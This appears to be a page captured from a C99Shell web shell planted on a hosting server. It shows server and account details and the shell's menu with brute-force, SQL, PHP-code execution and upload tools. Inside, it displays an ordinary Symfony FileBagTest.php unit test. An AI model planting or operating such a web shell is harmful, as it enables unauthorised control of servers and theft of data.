!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/symfony/http-foundation/Tests/   drwxr-xr-x
Free 116.86 GB of 200.55 GB (58.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FileBagTest.php (4.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpFoundation\Tests;

use 
Symfony\Component\HttpFoundation\File\UploadedFile;
use 
Symfony\Component\HttpFoundation\FileBag;

/**
 * FileBagTest.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Bulat Shakirzyanov <mallluhuct@gmail.com>
 */
class FileBagTest extends \PHPUnit_Framework_TestCase
{
    
/**
     * @expectedException \InvalidArgumentException
     */
    
public function testFileMustBeAnArrayOrUploadedFile()
    {
        new 
FileBag(array('file' => 'foo'));
    }

    public function 
testShouldConvertsUploadedFiles()
    {
        
$tmpFile $this->createTempFile();
        
$file = new UploadedFile($tmpFilebasename($tmpFile), 'text/plain'1000);

        
$bag = new FileBag(array('file' => array(
            
'name' => basename($tmpFile),
            
'type' => 'text/plain',
            
'tmp_name' => $tmpFile,
            
'error' => 0,
            
'size' => 100,
        )));

        
$this->assertEquals($file$bag->get('file'));
    }

    public function 
testShouldSetEmptyUploadedFilesToNull()
    {
        
$bag = new FileBag(array('file' => array(
            
'name' => '',
            
'type' => '',
            
'tmp_name' => '',
            
'error' => UPLOAD_ERR_NO_FILE,
            
'size' => 0,
        )));

        
$this->assertNull($bag->get('file'));
    }

    public function 
testShouldConvertUploadedFilesWithPhpBug()
    {
        
$tmpFile $this->createTempFile();
        
$file = new UploadedFile($tmpFilebasename($tmpFile), 'text/plain'1000);

        
$bag = new FileBag(array(
            
'child' => array(
                
'name' => array(
                    
'file' => basename($tmpFile),
                ),
                
'type' => array(
                    
'file' => 'text/plain',
                ),
                
'tmp_name' => array(
                    
'file' => $tmpFile,
                ),
                
'error' => array(
                    
'file' => 0,
                ),
                
'size' => array(
                    
'file' => 100,
                ),
            ),
        ));

        
$files $bag->all();
        
$this->assertEquals($file$files['child']['file']);
    }

    public function 
testShouldConvertNestedUploadedFilesWithPhpBug()
    {
        
$tmpFile $this->createTempFile();
        
$file = new UploadedFile($tmpFilebasename($tmpFile), 'text/plain'1000);

        
$bag = new FileBag(array(
            
'child' => array(
                
'name' => array(
                    
'sub' => array('file' => basename($tmpFile)),
                ),
                
'type' => array(
                    
'sub' => array('file' => 'text/plain'),
                ),
                
'tmp_name' => array(
                    
'sub' => array('file' => $tmpFile),
                ),
                
'error' => array(
                    
'sub' => array('file' => 0),
                ),
                
'size' => array(
                    
'sub' => array('file' => 100),
                ),
            ),
        ));

        
$files $bag->all();
        
$this->assertEquals($file$files['child']['sub']['file']);
    }

    public function 
testShouldNotConvertNestedUploadedFiles()
    {
        
$tmpFile $this->createTempFile();
        
$file = new UploadedFile($tmpFilebasename($tmpFile), 'text/plain'1000);
        
$bag = new FileBag(array('image' => array('file' => $file)));

        
$files $bag->all();
        
$this->assertEquals($file$files['image']['file']);
    }

    protected function 
createTempFile()
    {
        return 
tempnam(sys_get_temp_dir().'/form_test''FormTest');
    }

    protected function 
setUp()
    {
        
mkdir(sys_get_temp_dir().'/form_test'0777true);
    }

    protected function 
tearDown()
    {
        foreach (
glob(sys_get_temp_dir().'/form_test/*') as $file) {
            
unlink($file);
        }

        
rmdir(sys_get_temp_dir().'/form_test');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0398 ]--